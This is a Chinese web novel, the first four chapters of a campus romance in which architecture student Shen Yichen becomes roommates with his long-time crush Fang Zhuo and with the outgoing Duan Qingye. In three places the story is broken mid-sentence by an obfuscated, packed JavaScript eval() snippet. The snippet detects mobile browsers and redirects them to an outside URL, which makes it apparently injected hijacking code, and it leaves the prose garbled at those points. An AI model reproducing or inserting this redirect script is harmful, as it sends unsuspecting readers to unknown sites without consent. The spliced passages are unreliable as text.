《老婆总以为我在钓他》 1. 喜欢谁 九月伊始，京大校园内依然闷闷热。 作完手头最后一张图，沈亦辰整理好桌面，准备离开图书馆。 余光在十点钟方向短暂停留。 男生穿着轻薄的淡青色衬衫，高挺的鼻梁在纸上投下一片斜角状的阴影。手背的皮肤随着写字的幅度流转起伏，捻着笔杆的手指骨节绷白，不一会儿轻轻抬起，推了下鼻梁上的半框眼镜。 一如记忆中那般清冷，那般生人勿近。 自从上大学以来，他从来没有像这样和方濯在校园里相遇过。 虽然，他曾幻想过无数次。 今天大概是什么幸运日，他想。 下午他还会不会在这个位置学习呢？ 应该会吧。 那……他有没有注意到他？ 应该没有吧。 或许连他的名字都不知道。 带着恋恋不舍的心情，沈亦辰拉开椅子，动作缓慢地跨上包，一步三回头地走了出去。 也许是上天也觉得机会难能可贵，在他下到第二层时，又让他在一抬眼就能看见的空间里看见了方濯。 窗边的男生仍然捻着笔，眉头却是微微皱起，似是遇到了什么难题。 这样的画面对沈亦辰来说并不陌生。 高中他就在方濯隔壁班，每每经过那条长长的走廊，他的余光便自动锁定好一个方向。 拍一张吧。 念头一萌生，手上的动作倒是比脑子反应得更快，并且同时加入了私密相册。 嗯，没遗憾了。 有些人，远远看着就好。 反正已经远远看了三年了，再来多少年都无妨。 他轻舒一口气，拽拽肩带，离开了图书馆。 岁城向来没有界限分明的四季，要么骄阳似火，要么潮湿阴冷，二者的转换时常没有任何征兆，让人完全摸不着头脑。 刚才还是艳阳天，这会儿漂移来的阴云却聚合成黑压压的一团，沉闷的天空吐出慑人的呜咽。伴随着一道爆破的闪电，鞭子般的雨珠又凶又密地倾泻而下，一遍遍抽打着耸立的楼宇。 沈亦辰撑开伞就往食堂跑，最后还是溅了一身的水。 他点了碗阳春面靠窗坐下，刚好收到邹伦的消息。 [邹伦]：辰辰辰辰辰辰辰……！你知道吗，这学期宿舍要打乱重组！不同专业要大乱炖！ 沈亦辰瞥了眼手表，淡定回道：[今天都放新宿舍名单了，你才知道？] [邹伦]：我2G网了[/心碎] [邹伦]：那以后咱俩做不了室友了吗！啊啊啊我接受不了！ [邹伦]：以后谁和我一起吐槽秃头教授！谁和我一起看帅哥！ [二辰]：冷静。 [二辰]：只是不在一个宿舍而已，又不是见不到面[/摸摸头] [邹伦]：不行！我就要和你在一个宿舍！我要去找导员说！要不然谁保护你！ [二辰]：我一个大男人有手有脚的，要谁保护？ [邹伦]：我不要呜呜呜！！万一你新室友觊觎你的美色怎么办！！！ [二辰]：你应该祈祷你的新室友不是你的菜。 [二辰]：小心口水流太长把人家吓跑。 [邹伦]：？6。 [邹伦]：还说我呢，你也祈祷祈祷吧。 [邹伦]：分到帅哥室友记得给我推推，不许独吞！ [二辰]：1。 [邹伦]：对了，新宿舍名单你看了吗？有认识人没？ [二辰]：没看，就知道是四期三楼。 [二辰]：纯开盲盒。到了再说。 学院下发的任务，中午十二点前全部搬好东西，眼看着还剩半小时就到了，他还不紧不慢地吃着面。 这可能就是大三老人的松弛感。 所谓新官上任三把火，新校长的第一把火居然烧在了宿舍大洗牌上。 这老头要求一个宿舍里四个人的专业不能重复，美其名曰推进多元化学术交流，展现京大独特风貌。 讲真，沈亦辰觉得挺头疼的。 前两年好不容易和室友熟络起来，现在直接一朝回到解放前。 这对社恐来说是多么残忍的惩罚！ 混到大三了还不让他们消停，老人何苦为难老人。 不管怎么样，兵来将挡水来土掩吧。 帅哥他是不想了，他唯一的要求是别遇到什么过于抽象的人，让他安安安稳稳混到毕业。 能不能成为朋友都无所谓，别成为敌人就行。 [二辰]：快到点了，记得收拾行李。 抱着佛系摆烂的心态嗦完最后一根面，他拿上东西去男寝开盲盒。 * 好在早上提前把行李搬到了三楼，找房号的时候不至于那么局促。 “321……” 走道的尽头，靠窗。 很不巧这阵子是阴雨天，要不然阳光一定能正好照到宿舍门上。他想。 是个好位置，他很喜欢。 但是…… 嘴上说着无所谓，但一想到开门真要面对三张陌生的脸，他还是感觉浑身不自然。 要是邹伦在就好了。 哪怕有一个认识的人照应呢。 算了。 他攥着行李拉杆站在门口徘徊了一阵，眼一闭，心一横，终于用那把新钥匙旋开了门—— 漏了缝的窗被风吹得嗡嗡作响，几滴雨顺势钻进来，没入桌子上摊开的书页中，化作了几粒椭圆形的灰点。 不过沈亦辰的注意力丝毫不在那几滴雨上，而在书页的主人身上。 这张脸并不陌生。 一个小时前，他才刚刚在图书馆见过。 这样说也不准，因为偷看了整整高中三年。 大脑空白之余，两个清晰的字眼逐渐浮现出来。 ——方濯。 方濯…… 方濯？？？？！！！！！！！！ 是他认识的那个方濯？？？？？！！！！！ ……不好意思，不信。 以他沈亦辰的运气，这种好事怎么可能落到他头上。 直到他颤颤巍巍掏出手机，翻来覆去确认了新宿舍名单，确认自己没走错，才怀着五味杂陈的心情接受了这个离奇的事实。 论和暗恋多年的白月光分到一个宿舍是什么感受。 嗯，也没什么感受，不过就是手心冒汗，嘴唇打颤，石化了整整五秒说不出来话而已。 “你好。”不知何时，专心看书的男生已经走到他面前，“我叫方濯，计科院的。” 低沉的音色，淡淡的语调，不露笑意的表情，一如他透出的气质。 “你…你好，我叫沈亦辰，建筑系。” “有印象。” “嗯？” “我们好像是一个高中的。” 沈亦辰心脏都快跳出来了，“是吗……你怎么知道？” “光荣榜上见过。” 也是，像方濯这种稳居年纪前列宝座的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521041|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学霸，怎么会不关注光荣榜呢。 只是对竞争对手的正常关注罢了，没有任何其他意义。 果然，那他也一定忘了…… “以后就是室友了，互相照应。”方濯说，“先加个微信吧。” “好。”沈亦辰愣了一下，赶紧把二维码递了过去。 好友申请通过后，他不禁对着方濯的朋友圈研究起来。 头像蓝天白云，个签只有一个句号，朋友圈三天可见，背景图是条银色手链。 很巧，正好是他左手腕戴着的那条。 ……很好，什么都研究不出来。 恰好第二个室友旋钥匙进门，沈亦辰心虚地按掉手机屏幕，开始毫无头绪地整理行李。 那人一个滑铲停在他眼前，嗓门是他和方濯加起来的三倍大，“哇靠！我还以为我瞎了，你是沈亦辰吗？” 沈亦辰不明所以，“你认识我？” “建筑系系花啊！天天上表白墙的，我怎么不知道！有一说一，本人长得可真好看，是很秀气的帅。” “什么系花，都是他们瞎闹的，”沈亦辰伸手道，“你好，以后我们就是室友了。” 男生十分自来熟地握住他的手，“你好你好，我叫姜旭。嗷对了，你的床位在那儿。” 沈亦辰顺着他手指看过去，瞅见一张空荡荡的上铺。 刚才他光顾着看方濯，丝毫没注意到其他三张床铺已经收拾整齐了。 “我们几个来得比较早提前搞好了，你需要帮忙的话随时说，千万别客气。” 沈亦辰不喜欢麻烦人，“没事，我自己来吧。” “欸，老天爷真是不公平啊。” “怎么了，有什么故事吗？”沈亦辰一边开行李箱一边接上他的话，准备先和这位自来熟的同学混个半熟。 姜旭抱着手臂咂咂嘴，“三个室友都是大帅哥，就我一个普男，任谁不破防啊！到底是谁分的宿舍表，一点也不管我们普通吗喽的死活吗！气死我了！我真的要炸了校长办公室！” “三个？”沈亦辰默默竖起耳朵，“还有一个室友呢？” 姜旭：“你说段清野啊，这会儿估计还在外边打球呢。” 沈亦辰：“这个天气打球？” 姜旭：“哈，这哥从来不走寻常路，习惯就好。” 沈亦辰再次瞥了眼窗子上的雨，“那这爱好还真是……特别。” 说来也奇怪，就在他收回注意力的时候，窗外阴云莫名消散开来，一缕微弱的阳光夹缝间透进来，从书桌边缘缓缓移到了他的床铺上。 下一秒，一道清脆的开门声冲破思绪。 沈亦辰闻声抬头，就这么直直撞上一双琥珀色的眼睛。 “喂姜旭，不是说好上节课帮我签——” 门口的男生个头与门框齐平，身上穿着一件薄薄的白色无袖，胸前的布料被洇出了深色水渍。紧致的肌肉衬出好看的手臂线条，皮肤是混着暖调的白，再往上看，是一张骨相极为立体的脸。 目光在沈亦辰脸上停留五秒后，他方才的话终于落地：“……到。” 沈亦辰怔了怔，即使有些尴尬，也愣是没移开视线。 “一节课就算了，你三番五次地翘，还好意思问我，专业第一了不起哦。”姜旭还没抱怨完，却见他把手里湿漉漉的球丢给自己，又转身出了门。“哎哎哎又干什么去，打这么久了还打啊？” “别管。”他说，“我要重进一次。” 姜旭：？ 沈亦辰：？ 2. 喜欢谁 姜旭望着他这一进一出的循环动作，头上逐渐冒出几根问号：“你小子打球时候脑子进水了？” 只见段清野站在门口甩了几下头发，神色闪过几秒的恍惚，随后左拐走进了卫生间。 这一连串的操作也让沈亦辰倍感迷惑。 他仔细回想了一下刚才自己的所作所为，并没发现有什么奇怪的地方。 非要鸡蛋里挑骨头的话，最多就是没主动跟新室友打招呼而已。难道就这么点小细节……就让新室友生气了？ 但瞅着新室友的性格，也不像什么脾气多不好的男生，应该不至于这么小气吧？ 那…… 是他长得太可怕了？ 正在那儿郁闷着，卫生间的门很快打开，刚才浑身是水的男生换了件干爽的T恤，头发被吹得半干蓬松。 沈亦辰一边收拾东西一边用余光瞥，当那双深邃好看的眉眼再次扫过来时，他却下意识避开了。 他也不知道自己在慌什么，只是有种没来由的紧张。 “同学。” 沈亦辰手上的动作一顿，一双藏青色加小黄人图案的拖鞋引入眼帘。 迟疑几秒过后，他盖好行李箱，缓缓站起身。 强迫自己抬起头的瞬间，沈亦辰才意识到，他刚刚的紧张不是来源于社恐、或是怕被新室友讨厌，而是他根本无法直视这张精准踩在他审美上的脸。 “你好，我叫沈亦辰。”他有丝尴尬地说，“你的拖鞋……很别致。” “你打招呼的方式也挺别致，”对面人轻轻一笑，“我叫段清野，很高兴和你成为室友。” ——心中一块大石落地。 很高兴就好。 “需要帮忙吗？” 沈亦辰摆摆手，“没事，我弄得差不多了。” “嗷，那，加个微信？” “好。” 沈亦辰点开手机屏幕，页面刚好停留在方濯的微信主页，段清野瞄了一眼说：“看来有人比我早来一步。” “嗯？” “…没什么。” 好友通过后，沈亦辰点开了他的头像。 一张留着杀马特发型的奥特曼，背景是一片紫色的云。 ……？ 紧接着，这人顶着这张和本人形象大相径庭的头像给他发了两条信息。 [肚脐眼]：你好。 [肚脐眼]：有什么倒忙需要帮请尽管和我说。 沈亦辰噗呲一声笑出来。 这头像，这昵称，实在让人没有聊天的欲望。 要不是知道本人颜值层次，简直让人想直接隐藏聊天框的程度。 [二辰]：好，有倒忙一定让你帮[/大拇指] 沈亦辰配合地回道。 - 忙活了一中午，沈亦辰午睡都没睡，提上包就往教室跑。 这会儿天气格外明朗，沈亦辰小跑在教学楼阴凉的走廊，心境也逐渐开阔起来。 虽然和三个室友都不熟，但至少看上去他们人都不错，那就够了。 进了教室，他照常在后排找了个角落坐着，然后就收到邹伦的微信轰炸。 [邹伦]：听说你们宿舍有三个大帅哥？？？是不是真的？？？？ [邹伦]：快告诉我不是真的，别让我一天破无数次防好吗！！！！ [二辰]：连你都知道了？ [邹伦]：我们年级到处传呢 [邹伦]：一个你，一个方濯，一个段清野，还有一个是谁忘了，不过应该不重要 [二辰]：所以？ [邹伦]：废话，近水楼台先得月，肥水不流外人田 [邹伦]：这俩你选一个自留，剩下一个推给我谢谢。 [邹伦]：随便哪个都行~我不挑的哦~[/飞吻] [二辰]：？ 真是诡计多端的gay子。 [二辰]：目测都是直男，省省吧。 [邹伦]：妈的，谁允许的，统统给我弯掉！！ [邹伦]：那这样好不好，平时在宿舍多拍点照片发给我，没别的意思，就想看看帅哥饱饱眼福 [二辰]：你知道他们长什么样？ [邹伦]：反正表白墙上见过方濯 [邹伦]：脸长成这样，身材估计也差不到哪去，你懂的~ 某人揣着篮球的手臂线条在沈亦辰脑海里一闪而过，他顿了一下，回消息过去：[可能吧] [邹伦]：所以说！不许独吞！！！！ 沈亦辰摇摇头正准备关手机，便瞄到页面最下方的蓝天白云头像。 他点进空荡荡的对话框，手指悬在文本框上，半天也没憋出一个字。 命运有时候就是这么神奇。 到现在他都难以置信，曾经那么遥不可及的人，竟然能每天跟他生活在同一个屋檐下。 老天爷这样安排的用意在哪呢？ 是为了让他好好把握机会？ 可正如他所担心的，方濯也许大概是个直男，万一再沾点恐同，不讨厌他都算好的了，哪还敢奢求喜欢不喜欢。 俗话说得好，相交线不如平行线，如果每天能看得见却摸不着也吃不到，那还不如不看呢，哪有这么折磨人的，真烦躁。 所以这到底算是奖励，还是惩罚。 暗恋了好多年的人好不容易近在眼前了，他到底该不该，不留遗憾地尝试一下。 另一个自己又说，洗洗睡吧孩子，你一个连说话都不敢直视别人的社恐，哪来的胆子主动出击？下辈子吧。 ……说的也是。 世上无难事，只要肯放弃。 主动追人什么的，他果然还是做不到。 就这样，他很快就打退堂鼓了。 正准备划出微信，他看见自己被拉进了一个名为【回寝的诱惑】的群聊，几个成员接连在里面冒泡。 [姜旭]：[/小熊挥手Hi~] [fz]：Hello [肚脐眼]：1 沈亦辰思索一阵也不知道回什么，干脆在段清野后头跟了个：[2]。 [肚脐眼]：？ 沈亦辰不解，也跟着引用他的问号，回了个：[？] 他回的有什么问题吗？ 没有啊。 沈亦辰其实一直害怕别人给他发问号，这常常让他怀疑自己是不是哪里说错话了，哪里得罪到别人了，然后又是各种反省和内耗。 结果段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521042|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清野发却完全不会让他有这种感觉。 大概是头像滑稽到让人实在害怕不起来，甚至还有点想笑。 [肚脐眼]：没事 [肚脐眼]：挺好的。 [二辰]：好的。 [姜旭]：以后就是一家人了啊，有什么需要尽管在群里说，大家能互相帮助就互相帮助，出去吃饭A钱直接在群里群收款就行 [肚脐眼]：什么时候吃饭？ [姜旭]：那……择日不如撞日，就今天晚上如何？大家时间都ok吗？ [二辰]：我六点之后没问题 [fz]：我也可以 [肚脐眼]：11111 一场破冰饭局说来就来，沈亦辰还盘算着要不要下课回去换件衣服，时针就不知不觉转到了五点四十。 他匆匆回去放了下书包，简单梳了梳刘海，两手空空地出了校门。 姜旭在群里发了定位，是离学校不远的一家烧烤店，深受京大学子喜爱。 没走两步，烧烤的碳香狡猾地钻入鼻腔，引得沈亦辰直咽唾沫。 就冲这味儿的浓郁劲，今晚组破冰局的寝室绝不在少数。 事实也证实了这一点。明明是非常大的店面，今晚却硬生生挤出去四排桌在门外，放眼望去基本都是四人局或六人局的男大女大。 尽管人海茫茫，云雾缭绕，精准定位到他们321那一桌还是易如反掌。 没办法，坐在那儿的男生实在太过显眼，想不注意都难。 他换了件天蓝色的T恤，头发显然精心打理过，耳朵上多了颗很小的耳钻。两条长腿随意往桌底一放，看上去慵懒，且随性。 那张帅脸看过来的一瞬，沈亦辰呼吸一滞，径直走了过去，“那个，抱歉，我来晚了。” “不晚啊，我也刚来。”段清野拍拍右手边的板凳，“坐吧。” 沈亦辰：“我坐你旁边吗？” 段清野：“不愿意？” “当然没有。”沈亦辰赶紧坐下说，“谢谢你。” 姜旭：“我们先来就点了这么多，想吃什么你再加。” 沈亦辰点点头，余光瞟到了不远处接饮料的方濯。 等他转身走回座位，沈亦辰迅速垂下头，随便抓起一串开始啃。 姜旭：“哎呀，人都齐了。来吧，先走一个。” 沈亦辰举起面前的半杯水，指节倏地覆上小片阴凉的触感，再抬头便看见他不经意和方濯碰在一块的手。 对方看起来毫不在意，沈亦辰也假装镇定地收回手。而这次由于动作幅度十分仓促，他又结结实实撞到了身边人温热的手背。 沈亦辰：“……” 沈亦辰：“对不起，我不是故意的。” 没等到身边人开口回应，那片熟悉的温热又重新覆了上来。 沈亦辰盯着这只大他两号的手，有些不明所以，“怎么了？” “好冷。”段清野说。 沈亦辰一愣，“今天有28度，还好吧。” “我是说你的手。” “有吗？” “有。” 沈亦辰默默把手缩回去，指节处肉眼可见的红晕很快消散，“…应该是你的太热了。” 3. 喜欢谁 “我天生就容易手脚冰凉。”他打个补丁。 段清野：“夏天也会这样？” 沈亦辰：“嗯，会的。” 两人悄悄话般的谈话结束，姜旭重新发挥主持人作用：“兄弟们，你们发没发现好多人在偷看我们。” 何止啊，偷拍的都大有人在。 颜值高的人没有隐私，一举一动都会备受关注，好在桌上这三人也习惯了这种场面，向来懒得评也懒得管，当然想管也管不了。 “明天表白墙又要热闹咯。”姜旭开了瓶啤酒道，“话说你们长这么帅，跟你们表白的应该很多吧？你们都谈过女朋友吗？我很好奇。” 主持人就是主持人，非八卦非劲爆的不问。 此话一出，在场三人你看看我我看看你，仿佛都在等一个先开口的勇士。 姜旭见场子有点尬，赶忙说：“没事不方便说就算了哈哈哈，我只是纯好奇，没话找话。” 方濯：“没有。” 惊讶之余，沈亦辰心中还是多了几分小窃喜。 像方濯这样满眼只有学习的人，看上去就对恋爱不开窍，没谈过很正常，正说明了人家心思都在学业和事业上。而他喜欢的，就是方濯这股劲儿。 高中时，每当他隔着玻璃窗看见戴着眼镜、在嘈杂中安心学习的方濯，他回去就能多刷两套卷子。 方濯是他喜欢的人，更是他一直以来的榜样。 在别人看来自然也如此。 姜旭：“哥，你全年无休的学习，你对象就是学习吧，哪有时间谈恋爱。” 方濯眼皮微抬，“也不是。” 嗯？ 也不是？ 那是？ 姜旭：“好家伙，意思是你还是想谈恋爱咯？大新闻啊！我看你无时无刻不在看书，我以为你对那方面没兴趣呢。” 抛出了十分具有迷惑性的钩子后，方濯不再多讲了。 反正明眼人都看出来，这人有猫腻。 没准是个闷骚。 沈亦辰倒是很想知道他到底能有多闷骚，这决定了他是否有机会。 姜旭：“亦辰呢？” 沈亦辰接上话茬：“我喜欢男生。” 此话一出，全场再次陷入沉默。 他大概能料到会有多少人过来八卦，不过他不在意，早点让室友们知道也好。与其日后需要躲躲藏藏，整日提心吊胆会被发现，还不如一开始就明牌，大大方方承认性向。 漫长的沉默过去，姜旭尬笑道：“啊哈哈，以前我就听说建筑系的人说过，我以为是他们瞎传的呢，原来是真的啊……” 方濯：“那怎么了。” 段清野：“多大点儿事。” “没事没事，当然没事！”姜旭赶紧转移话题，“你呢段清野！别光顾着吃别人瓜，从实招来谈过几个！” 段清野用手比了个O型，“不好意思让您失望了，鄙人母单。” 沈亦辰随即投去鄙夷的目光。 方濯那种爱学习的、闷的没谈过他能理解，但段清野这种性格、身材、长相的没谈过，绝对在开玩笑。 段清野对上他：“不信啊？” 沈亦辰：“不信。” 段清野：“为什么？” 沈亦辰：“你像每根头发丝都有对象。” 段清野：“。” 段清野：“有种寡妇被造了黄谣的无力感。” “真假的啊，不应该啊，”姜旭抓了把瓜子磕上了，“奥我知道了，说不定那方面不太行，便宜不能都让他一个人占了对不对。老天爷总得给他关上一扇窗，这才公平。” “……” “噗——” 沈亦辰一口水喷了出来，隔壁桌也纷纷竖起吃瓜的耳朵。 这、这是可以在这里说的吗？！ 紧接着姜旭脑袋就被狠狠挨了一拳。“痛痛痛哥哥哥，我错了错了，我再也不乱说了——” 当事人满脸的生无可恋：“我真服了，我没谈过恋爱就这么难以接受？至于一会儿造谣我海王，一会儿造谣我不行吗。” 姜旭笑得岔气：“不是，主要是吧，你看你也21了。你想想连我都谈过三四个，你说你没谈过太没说服力了，让人感觉你吧，就，很不真诚。” “21怎么了，想显摆自己谈过好几个就直说，我们母单招你惹你了？” “就是，我们招你惹你了。”沈亦辰跟着说。 “沈同学，你好像很喜欢学我说话啊。”段清野偏头朝他笑了下，“所以你也是母单？” 沈亦辰无辜：“不行吗？” 社恐人总喜欢在人群中找个社牛的人当依靠，这能让他们在社交中充满安全感。 沈亦辰也不例外，对他来说，段清野就是那个完美的依靠对象。 与方濯散发的阴冷气息不同，他这位室友开朗，阳光，幽默，自来熟，看一眼就能感染满满的正能量。想要搞好宿舍关系，优先靠近这种人是最明智的选择。 “行，当然行。” 姜旭瞅两人跟对暗号似的，起哄道：“你俩怎么回事，先我们一步勾搭上了是吧，一来就鬼鬼祟祟的。段清野，你给我们小沈灌什么迷魂汤了？” 段清野：“心是脏的看什么都是脏的。” 姜旭：“……” 几十根串串吃得人浑身是汗，眼看摊子也散得差不多了，四人收拾东西结伴回校。 一路上两两成行，姜旭和背着电脑的方濯走在前，剩下两人在后，头顶年事已高的路灯将几人的影子拉得老长。 沈亦辰走在方濯长长的影子下，心道怎么可以有人连影子都冷若冰霜。 刚才和大家一块吃饭那么惜字如金，如果不是一起吃饭，干脆什么话也不说了。 这样的方濯谈起恋爱来是什么样的呢？ 也会和正常情侣一样吗？ 恕他实在想象不出。 所以“也不是”是什么意思呢？ 是对恋爱不排斥？ 没找到合适的人？ 在等时机？ 还是…已经有喜欢的人了？ 最后这种可能刚冒了个尖，他直接从头泄气到脚。 如果一个人有一个暗恋了很久的人，其他人怎么可能插得进来呢？ 作为高中就暗恋方濯的人，沈亦辰深有感触。 当喜欢他的时间足够长，喜欢他这件事就会潜移默化成一种习惯。 无论他做什么，只要与他同框出现，注意力就自然而然被他吸引。 一种难戒的习惯。 一种可怕的习惯。 一种蚕食意志的习惯。 “想什么呢，那么入迷。” 路灯下，一条更长的影子撞破了他的思绪。 沈亦辰抬起头，见段清野正笑得灿烂。 笑容真是个极具感染力的表情。 特别是在段清野这张脸上。 沈亦辰就瞥了一眼，莫名其妙也跟着笑了笑，“没，没想什么。” 段清野原本匀速的步子微顿了下，“你笑起来这么好看，多笑笑。” 沈亦辰马上又笑了笑，“没你好看。” “小嘴怪甜的呢。” - 第一晚过得异常平静。 姜旭和段清野约着去大澡堂搓澡，沈亦辰在楼下贩卖机买了罐可乐，回寝时只有方濯一人。 方濯的书桌在他的斜对角，很容易能看清对方在做什么。 沈亦辰发誓，他绝对没有变态的窥私欲。他只是纯好奇，这人除了学习，到底有没有别的爱好。 ——事实证明，确实没有。 从进这个门开始，方濯做的唯一一件事就是敲代码。 真正的学霸到大学也完全不会懈怠，他果然还是个凡人。沈亦辰默默叹口气。 也不知道哪根筋搭错了，他望着手里的可乐灵机一动，大着胆子拐了个弯送到方濯面前。 室友之间友好往来嘛，应该不会多奇怪的。 想归想，等真到人面前了又是另一回事，想好的台词也全抛掷脑后了，“方同学、” 方濯盯着可乐沉思片刻，反光的镜片透出几丝迷惑，“有事么？” “没事没事，就是多买了罐可乐，送给你。” 沈亦辰手心都冒汗了，方濯只礼貌回了句：“谢谢你，不过我不喝碳酸饮料。” 当时的沈亦辰连怎么离开地球都想好了。 想过会尴尬，但没想到会这么尴尬。 ……怎么会这么尴尬啊啊啊啊！ “实在抱歉，我不知道你不喝。” “没关系，你留着喝吧，或者给他们喝。”方濯淡淡道，随后注意力又回到代码上。 “好的。” 他前脚还没撤离方濯的书桌，后脚段清野和姜旭就有说有笑进了门。 段清野肩上挂着毛巾，目光在两人和可乐之间流转了一轮后，无话可说地往下铺一坐，打开手机随便点了个app瞎滑滑。 “方濯，你想先洗澡吗。”沈亦辰问。 “你想洗可以先洗。” “你明天有早八吗？” “有。你有吗。” “我也有。” “那你先洗，我得再敲会。” 沈亦辰抿着唇点点头，转身径直走向段清野，“那个，你是不是已经刷过牙了？” 段清野瞅瞅那罐被他捏到变形的可乐，不咸不淡道：“哎呀，也不知道是真给我买的，还是别人不要的给我的。” 沈亦辰：“……” 他算是看清了，段清野这人看上去大大咧咧、没心没肺的，实际上心思细腻得很。 说实话，沈亦辰压根没有多余的意思。 一罐饮料而已，一个室友不要再送给另一个室友明明很正常。结果到了段清野这里，就好像受了多大的委屈一样，令人哭笑不得。 “好好好，那我出去给你买新的。” “哎哎哎回来回来，”段清野阻止道，“逗你玩呢，这么晚了，别出去了。” 想也知道段清野这种性子的人不会真的跟他斤斤计较，沈亦辰很快就放宽了心，“你没生气就好。” “想给谁是你的自由，我生哪门子气？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521043|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈亦辰轻轻弯了下唇，抽了条新毛巾走到浴室门口。 像是想起了什么，他扭头说：“哥，你人真好。” 等段清野的脑细胞完全接收到那句新称呼，浴室里已经传来了细细簌簌的水流声。 刚才他幻听了？ ……沈亦辰叫他什么来着？ …… 忙活了一整天到这个点了，几个人陆陆续续爬上了床。段清野也没兴趣再开拓其他活动，早早四仰八叉地躺在床铺上看手机。 碎片化的短视频刷累了，他把手机往床头一扔，耳畔又不受控制地回想起沈亦辰那声柔声细语的“哥”，以及那张泛着红晕的微笑的脸。 和他认识的大部分理工男不同，沈亦辰身上有种独特的气质。 长相漂亮而不女气，举止温柔而不忸怩。虽然被广大学生戏称为院花，但给人扑面而来的第一感觉，仍然是充满清新的少年气。 清新中，还带着点小俏皮。 尤其是那一句“哥”字从他嘴里说出来，更是犹如春水融化冰川，秋雨灌满池塘—— “段清野，你还要用卫生间吗。” “……”段清野盘腿坐起，“怎么不叫哥了？改口改得这么快。” 沈亦辰顿了两秒反应过来，“把你美得。” “？” “你不用我就关灯了。” 段清野撇撇嘴，“我不用，关吧。” 寝室里立即变成了乌漆漆的一片。 沈亦辰本身有点夜盲症，此刻他能够依靠的参照物，几乎只有段清野那双屈起的白花花的长腿。 不知道是不是这双腿的腿型太完美太晃眼，直到他盖好被子闭上眼睛快进入梦乡的前一刹那，脑子还是被那双腿的画面占据着。 恰好两人一个因为一声哥一个因为一双腿都睡不着，就同时滑开了手机，点开了和对方的聊天框。 [肚脐眼]：睡了吗 [二辰]：还没 [肚脐眼]：问你点事儿 [二辰]：其实我也有事想问你 [肚脐眼]：你不会见个男的都叫哥吧 [二辰]：那你和谁都自来熟吗 [肚脐眼]：当然不会 [肚脐眼]：要看合不合眼缘 [肚脐眼]：所以你真的见个男的都叫哥？ [二辰]：当然不会！ [肚脐眼]：那就好 [二辰]：其实，我想问你 [二辰]：你是直男吗 对话框硬是沉寂了整整一分钟，沉得沈亦辰手心都出汗了，好不容易才看见对方弹出一个：[是啊] 又弹出个：[不明显？] 嗯，不出所料。 综合一天下来所有的表现，段清野确实是很直男，毋庸置疑。 [二辰]：那，你会讨厌和我做朋友吗 毕竟就在几个小时前，他刚刚坦诚公布了自己的性向。 有些介意这一点的直男，并不会给他好脸色。 比如说他的某位前室友。 [肚脐眼]：我要是讨厌就不会找你聊天了 [肚脐眼]：为什么这么问 [二辰]：我担心日后我们俩会因为没说清楚产生矛盾，我就想提前确认一下 [肚脐眼]：担心什么 [肚脐眼]：担心咱俩不纯洁？ 大概是洗澡太久昏头了，沈亦辰就这么鬼使神差敲了个“嗯”出去，然后很快又惊慌失措地撤回。 …… 他最担心的事还是发生了。 瞧瞧今天的所作所为吧，要么就目不转睛盯着人家的脸发愣，要么就学人家说话，还用一个“哥”字惹得人胡思乱想，这下直接承认担心和人家友谊不纯洁，试问哪个直男能不反感不害怕？！ 如何才能让他的帅逼室友相信直男和gay也可以有纯友谊呢！ 如何才能让他的帅逼室友对他放下戒备，发展纯洁的社会主义兄弟情呢！ 他得解释，他友好和谐的宿舍关系绝不能断送在今晚这一茬！ [二辰]：不是！！！！！！！！ [二辰]：我不是这个意思！！ [肚脐眼]：那是 [二辰]：我的意思是虽然你很帅长相也确实是我审美里的帅哥但是我不是那种知道对方性取向还不知分寸的人，也不是那种看到长得好看的男生就会起歪心思的gay，希望你不要因此讨厌我，能正常和我做朋友，正常把我当兄弟就好— 一条接近小作文体量的消息发出去之后，沈亦辰心脏微死。 痛定思痛之后，他直接开了消息免打扰，把手机扔了出去。 至少半小时之内，天王老子来了都不能强迫他查看段清野的回复。 就这样和天花板大眼瞪小眼了半小时之后，他生无可恋地点开对话框，半遮半掩往下滑消息。 [肚脐眼]：哦 [肚脐眼]：所以 [肚脐眼]：我的长相在你审美点上？ 沈亦辰：？ 沈亦辰：…………… 艹。 4. 喜欢谁 他发了那么真诚的一大段，他的眼睛只看到了这几个字？？？ 过了凌晨，CPU就彻底停止运作了吗！！ 眼看跳进黄河都圆不回去了，沈亦辰只好破罐子破摔摊牌：[我的意思是你不用担心，其实我有喜欢的人。] 不知道段清野是不是太困睡着了，之后就再也没回。 沈亦辰真的不是闲的没事干，也不是有什么暴露自身隐私的癖好。实在是在前室友那儿吃过太多亏，他怕了，他无可奈何，他不明白为什么直男下意识觉得是个gay就会喜欢自己，所以他长了个心眼。 可是这次……他好像长多了？ 妈的，他为什么要多说一嘴长相是他的菜啊！ 简直是越描越黑。 说出去的话泼出去的水，收也收不回来了，算了吧。 